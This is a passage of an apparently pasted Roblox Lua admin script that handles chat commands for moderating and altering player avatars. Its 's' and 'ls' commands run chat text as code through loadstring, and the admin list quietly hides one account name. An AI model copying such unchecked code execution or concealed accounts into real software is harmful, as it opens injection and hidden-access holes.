  398. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  399. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  400. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  401. end
  402.  
  403. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  404.  
  405. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  406. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  407. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  408. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  409. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  410. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  411. end end
  412.  
  413. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  414. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  415. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  416. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  417. end
  418.  
  419. if msg:lower() == "tools" or msg:lower() == "toollist" then
  420. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  421. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  422. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  423. end
  424.  
  425. if msg:lower():sub(1,2) == "s " then
  426. coroutine.resume(coroutine.create(function()
  427. Output(msg:sub(3), plr)
  428. if script:findFirstChild("ScriptBase") then
  429. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  430. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  431. else loadstring(msg:sub(3))()
  432. end
  433. end))
  434. end
  435.  
  436. if msg:lower():sub(1,3) == "ls " then
  437. coroutine.resume(coroutine.create(function()
  438. if script:findFirstChild("LocalScriptBase") then
  439. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  440. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  441. end
  442. end))
  443. end
  444.  
  445. if msg:lower():sub(1,4) == "ins " then
  446. coroutine.resume(coroutine.create(function()
  447. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  448. if obj and #obj:children() >= 1 and plr.Character then
  449. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  450. end
  451. end))
  452. end
  453.  
  454. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  455. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  456. objects = {}
  457. end
  458.  
  459. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  460. game.Lighting.Ambient = origsettings.abt
  461. game.Lighting.Brightness = origsettings.brt
  462. game.Lighting.TimeOfDay = origsettings.time
  463. game.Lighting.FogColor = origsettings.fclr
  464. game.Lighting.FogEnd = origsettings.fe
  465. game.Lighting.FogStart = origsettings.fs
  466. for i, v in pairs(lobjs) do v:Destroy() end
  467. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  468. end
  469.  
  470. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  471. coroutine.resume(coroutine.create(function()
  472. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  473. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  474. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  475. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  476. end))
  477. end
  478.  
  479. if msg:lower():sub(1,2) == "m " then
  480. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  481. end
  482.  
  483. if msg:lower():sub(1,2) == "h " then
  484. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  485. end
  486.  
  487. if msg:lower():sub(1,3) == "pm " then
  488. local chk1 = msg:lower():sub(4):find(" ") + 3
  489. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  490. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  491. end
  492.  
  493. if msg:lower():sub(1,11) == "resetstats " then
  494. local plrz = GetPlr(plr, msg:lower():sub(12))
  495. for i, v in pairs(plrz) do
  496. coroutine.resume(coroutine.create(function()
  497. if v and v:findFirstChild("leaderstats") then
  498. for a, q in pairs(v.leaderstats:children()) do
  499. if q:IsA("IntValue") then q.Value = 0 end
  500. end
  501. end
  502. end))
  503. end
  504. end
  505.  
  506. if msg:lower():sub(1,5) == "gear " then
  507. local chk1 = msg:lower():sub(6):find(" ") + 5
  508. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  509. for i, v in pairs(plrz) do
  510. coroutine.resume(coroutine.create(function()
  511. if v and v.Character then
  512. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  513. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  514. obj:Destroy()
  515. end
  516. end))
  517. end
  518. end
  519.  
  520. if msg:lower():sub(1,4) == "hat " then
  521. local chk1 = msg:lower():sub(5):find(" ") + 4
  522. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  523. for i, v in pairs(plrz) do
  524. coroutine.resume(coroutine.create(function()
  525. if v and v.Character then
  526. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  527. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  528. obj:Destroy()
  529. end
  530. end))
  531. end
  532. end
  533.  
  534. if msg:lower():sub(1,5) == "cape " then
  535. local chk1 = msg:lower():sub(6):find(" ")
  536. local plrz = GetPlr(plr, msg:lower():sub(6))
  537. local str = "torso.BrickColor"
  538. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  539. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  540. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  541. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  542. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  543. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  544. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  545. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  546. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  547. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  548. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  549. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  550. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  551. if BrickColor.new(teststr) ~= nil then str = teststr end
  552. end
  553. for i, v in pairs(plrz) do
  554. coroutine.resume(coroutine.create(function()
  555. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  556. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  557. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  558. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  559. local torso = plr.Character.Torso
  560. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  561. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  562. p.Size = Vector3.new(.2,.2,.2)
  563. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  564. local motor1 = Instance.new("Motor", p)
  565. motor1.Part0 = p
  566. motor1.Part1 = torso
  567. motor1.MaxVelocity = .01
  568. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  569. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  570. local wave = false
  571. repeat wait(1/44)
  572. local ang = 0.1
  573. local oldmag = torso.Velocity.magnitude
  574. local mv = .002
  575. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  576. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  577. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  578. motor1.DesiredAngle = -ang
  579. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  580. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  581. if torso.Velocity.magnitude < .1 then wait(.1) end
  582. until not p or p.Parent ~= torso.Parent
  583. script:Destroy()
  584. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  585. end
  586. end))
  587. end
  588. end
  589.  
  590. if msg:lower():sub(1,7) == "uncape " then
  591. local plrz = GetPlr(plr, msg:lower():sub(8))
  592. for i, v in pairs(plrz) do
  593. coroutine.resume(coroutine.create(function()
  594. if v and v:findFirstChild("PlayerGui") and v.Character then
  595. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  596. end
  597. end))
  598. end
  599. end
  600.  
  601. if msg:lower():sub(1,7) == "noclip " then
  602. local plrz = GetPlr(plr, msg:lower():sub(8))
  603. for i, v in pairs(plrz) do
  604. coroutine.resume(coroutine.create(function()
  605. if v and v:findFirstChild("PlayerGui") then
  606. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  607. cl.Parent = v.PlayerGui cl.Disabled = false
  608. end
  609. end))
  610. end
  611. end
  612.  
  613. if msg:lower():sub(1,5) == "clip " then
  614. local plrz = GetPlr(plr, msg:lower():sub(6))
  615. for i, v in pairs(plrz) do
  616. coroutine.resume(coroutine.create(function()
  617. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  618. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  619. v.Character.Torso.Anchored = false
  620. wait(.1) v.Character.Humanoid.PlatformStand = false
  621. end
  622. end))
  623. end
  624. end
  625.  
  626. if msg:lower():sub(1,5) == "jail " then
  627. local plrz = GetPlr(plr, msg:lower():sub(6))
  628. for i, v in pairs(plrz) do
  629. coroutine.resume(coroutine.create(function()
  630. if v and v.Character and v.Character:findFirstChild("Torso") then
  631. local vname = v.Name
  632. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  633. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  634. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  635. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  636. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  637. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  638. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  639. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  640. end)
  641. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  642. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  643. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  644. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  645. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  646. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  647. local msh2 = msh:Clone() msh2.Parent = back
  648. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  649. local msh4 = msh3:Clone() msh4.Parent = left
  650. v.Character.Torso.CFrame = cf
  651. end
  652. end))
  653. end
  654. end
  655.  
  656. if msg:lower():sub(1,7) == "unjail " then
  657. local plrz = GetPlr(plr, msg:lower():sub(8))
  658. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  659. end
  660.  
  661. if msg:lower():sub(1,11) == "starttools " then
  662. local plrz = GetPlr(plr, msg:lower():sub(12))
  663. for i, v in pairs(plrz) do
  664. coroutine.resume(coroutine.create(function()
  665. if v and v:findFirstChild("Backpack") then
  666. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  667. end
  668. end))
  669. end
  670. end
  671.  
  672. if msg:lower():sub(1,6) == "sword " then
  673. local plrz = GetPlr(plr, msg:lower():sub(7))
  674. for i, v in pairs(plrz) do
  675. coroutine.resume(coroutine.create(function()
  676. if v and v:findFirstChild("Backpack") then
  677. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  678. sword.GripForward = Vector3.new(-1,0,0)
  679. sword.GripPos = Vector3.new(0,0,-1.5)
  680. sword.GripRight = Vector3.new(0,1,0)
  681. sword.GripUp = Vector3.new(0,0,1)
  682. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  683. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  684. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  685. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  686. local Damage = 15
  687. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  688. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  689. SlashSound.Volume = 1
  690. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  691. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  692. LungeSound.Volume = 1
  693. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  694. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  695. UnsheathSound.Volume = 1
  696. local last = 0
  697. script.Parent.Handle.Touched:connect(function(hit)
  698. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  699. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  700. hit.Parent.Humanoid:TakeDamage(Damage)
  701. end
  702. end)
  703. script.Parent.Activated:connect(function()
  704. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  705. script.Parent.Enabled = false
  706. local tick = game:service("RunService").Stepped:wait()
  707. if tick - last <= .2 then
  708. LungeSound:play()
  709. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  710. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  711. wait(.2)
  712. script.Parent.GripForward = Vector3.new(0,0,1)
  713. script.Parent.GripRight = Vector3.new(0,-1,0)
  714. script.Parent.GripUp = Vector3.new(-1,0,0)
  715. wait(.3)
  716. frc:Destroy() wait(.5)
  717. script.Parent.GripForward = Vector3.new(-1,0,0)
  718. script.Parent.GripRight = Vector3.new(0,1,0)
  719. script.Parent.GripUp = Vector3.new(0,0,1)
  720. else
  721. SlashSound:play()
  722. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  723. end
  724. last = tick
  725. script.Parent.Enabled = true
  726. end)
  727. script.Parent.Equipped:connect(function(mouse)
  728. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  729. UnsheathSound:play()
  730. script.Parent.Enabled = true
  731. if not mouse then return end
  732. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  733. end)]] cl.Disabled = false
  734. end
  735. end))
  736. end
  737. end
  738.  
  739. if msg:lower():sub(1,5) == "kill " then
  740. local plrz = GetPlr(plr, msg:lower():sub(6))
  741. for i, v in pairs(plrz) do
  742. coroutine.resume(coroutine.create(function()
  743. if v and v.Character then v.Character:BreakJoints() end
  744. end))
  745. end
  746. end
  747.  
  748. if msg:lower():sub(1,8) == "respawn " then
  749. local plrz = GetPlr(plr, msg:lower():sub(9))
  750. for i, v in pairs(plrz) do
  751. coroutine.resume(coroutine.create(function()
  752. if v and v.Character then v:LoadCharacter() end
  753. end))
  754. end
  755. end
  756.  
  757. if msg:lower():sub(1,5) == "trip " then
  758. local plrz = GetPlr(plr, msg:lower():sub(6))
  759. for i, v in pairs(plrz) do
  760. coroutine.resume(coroutine.create(function()
  761. if v and v.Character and v.Character:findFirstChild("Torso") then
  762. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  763. end
  764. end))
  765. end
  766. end
  767.  
  768. if msg:lower():sub(1,5) == "stun " then
  769. local plrz = GetPlr(plr, msg:lower():sub(6))
  770. for i, v in pairs(plrz) do
  771. coroutine.resume(coroutine.create(function()
  772. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  773. v.Character.Humanoid.PlatformStand = true
  774. end
  775. end))
  776. end
  777. end
  778.  
  779. if msg:lower():sub(1,7) == "unstun " then
  780. local plrz = GetPlr(plr, msg:lower():sub(8))
  781. for i, v in pairs(plrz) do
  782. coroutine.resume(coroutine.create(function()
  783. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  784. v.Character.Humanoid.PlatformStand = false
  785. end
  786. end))
  787. end
  788. end
  789.  
  790. if msg:lower():sub(1,5) == "jump " then
  791. local plrz = GetPlr(plr, msg:lower():sub(6))
  792. for i, v in pairs(plrz) do
  793. coroutine.resume(coroutine.create(function()
  794. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  795. v.Character.Humanoid.Jump = true
  796. end
  797. end))
  798. end
  799. end
  800.  
  801. if msg:lower():sub(1,4) == "sit " then
  802. local plrz = GetPlr(plr, msg:lower():sub(5))
  803. for i, v in pairs(plrz) do
  804. coroutine.resume(coroutine.create(function()
  805. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  806. v.Character.Humanoid.Sit = true
  807. end
  808. end))
  809. end
  810. end
  811.  
  812. if msg:lower():sub(1,10) == "invisible " then
  813. local plrz = GetPlr(plr, msg:lower():sub(11))
  814. for i, v in pairs(plrz) do
  815. coroutine.resume(coroutine.create(function()
  816. if v and v.Character then
  817. for a, obj in pairs(v.Character:children()) do
  818. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  819. end
  820. end
  821. end))
  822. end
  823. end
  824.  
  825. if msg:lower():sub(1,8) == "visible " then
  826. local plrz = GetPlr(plr, msg:lower():sub(9))
  827. for i, v in pairs(plrz) do
  828. coroutine.resume(coroutine.create(function()
  829. if v and v.Character then
  830. for a, obj in pairs(v.Character:children()) do
  831. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  832. end
  833. end
  834. end))
  835. end
  836. end
  837.  
  838. if msg:lower():sub(1,5) == "lock " then
  839. local plrz = GetPlr(plr, msg:lower():sub(6))
  840. for i, v in pairs(plrz) do
  841. coroutine.resume(coroutine.create(function()
  842. if v and v.Character then
  843. for a, obj in pairs(v.Character:children()) do
  844. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  845. end
  846. end
  847. end))
  848. end
  849. end
  850.  
  851. if msg:lower():sub(1,7) == "unlock " then
  852. local plrz = GetPlr(plr, msg:lower():sub(8))
  853. for i, v in pairs(plrz) do
  854. coroutine.resume(coroutine.create(function()
  855. if v and v.Character then
  856. for a, obj in pairs(v.Character:children()) do
  857. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  858. end
  859. end
  860. end))
  861. end
  862. end
  863.  
  864. if msg:lower():sub(1,8) == "explode " then
  865. local plrz = GetPlr(plr, msg:lower():sub(9))
  866. for i, v in pairs(plrz) do
  867. coroutine.resume(coroutine.create(function()
  868. if v and v.Character and v.Character:findFirstChild("Torso") then
  869. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  870. end
  871. end))
  872. end
  873. end
  874.  
  875. if msg:lower():sub(1,4) == "age " then
  876. local plrz = GetPlr(plr, msg:lower():sub(5))
  877. for i, v in pairs(plrz) do
  878. coroutine.resume(coroutine.create(function()
  879. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  880. end))
  881. end
  882. end
  883.  
  884. if msg:lower():sub(1,5) == "fire " then
  885. local plrz = GetPlr(plr, msg:lower():sub(6))
  886. for i, v in pairs(plrz) do
  887. coroutine.resume(coroutine.create(function()
  888. if v and v.Character and v.Character:findFirstChild("Torso") then
  889. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  890. end
  891. end))
  892. end
  893. end
  894.  
  895. if msg:lower():sub(1,7) == "unfire " then
  896. local plrz = GetPlr(plr, msg:lower():sub(8))
  897. for i, v in pairs(plrz) do
  898. coroutine.resume(coroutine.create(function()
  899. if v and v.Character and v.Character:findFirstChild("Torso") then
  900. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  901. end
  902. end))
  903. end
  904. end
  905.  
  906. if msg:lower():sub(1,6) == "smoke " then
  907. local plrz = GetPlr(plr, msg:lower():sub(7))
  908. for i, v in pairs(plrz) do
  909. coroutine.resume(coroutine.create(function()
  910. if v and v.Character and v.Character:findFirstChild("Torso") then
  911. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  912. end
  913. end))
  914. end
  915. end
  916.  
  917. if msg:lower():sub(1,8) == "unsmoke " then
  918. local plrz = GetPlr(plr, msg:lower():sub(9))
  919. for i, v in pairs(plrz) do
  920. coroutine.resume(coroutine.create(function()
  921. if v and v.Character and v.Character:findFirstChild("Torso") then
  922. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  923. end
  924. end))
  925. end
  926. end
  927.  
  928. if msg:lower():sub(1,9) == "sparkles " then
  929. local plrz = GetPlr(plr, msg:lower():sub(10))
  930. for i, v in pairs(plrz) do
  931. coroutine.resume(coroutine.create(function()
  932. if v and v.Character and v.Character:findFirstChild("Torso") then
  933. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  934. end
  935. end))
  936. end
  937. end
  938.  
  939. if msg:lower():sub(1,11) == "unsparkles " then
  940. local plrz = GetPlr(plr, msg:lower():sub(12))
  941. for i, v in pairs(plrz) do
  942. coroutine.resume(coroutine.create(function()
  943. if v and v.Character and v.Character:findFirstChild("Torso") then
  944. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  945. end
  946. end))
  947. end
  948. end
  949.  
  950. if msg:lower():sub(1,3) == "ff " then
  951. local plrz = GetPlr(plr, msg:lower():sub(4))
  952. for i, v in pairs(plrz) do
  953. coroutine.resume(coroutine.create(function()
  954. if v and v.Character then Instance.new("ForceField", v.Character) end
  955. end))
  956. end
  957. end
  958.  
  959. if msg:lower():sub(1,5) == "unff " then
  960. local plrz = GetPlr(plr, msg:lower():sub(6))
  961. for i, v in pairs(plrz) do
  962. coroutine.resume(coroutine.create(function()
  963. if v and v.Character then
  964. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  965. end
  966. end))
  967. end
  968. end
  969.  
  970. if msg:lower():sub(1,7) == "punish " then
  971. local plrz = GetPlr(plr, msg:lower():sub(8))
  972. for i, v in pairs(plrz) do
  973. coroutine.resume(coroutine.create(function()
  974. if v and v.Character then
  975. v.Character.Parent = game:service("Lighting")
  976. end
  977. end))
  978. end
  979. end
  980.  
  981. if msg:lower():sub(1,9) == "unpunish " then
  982. local plrz = GetPlr(plr, msg:lower():sub(10))
  983. for i, v in pairs(plrz) do
  984. coroutine.resume(coroutine.create(function()
  985. if v and v.Character then
  986. v.Character.Parent = game:service("Workspace")
  987. v.Character:MakeJoints()
  988. end
  989. end))
  990. end
  991. end
  992.  
  993. if msg:lower():sub(1,7) == "freeze " then
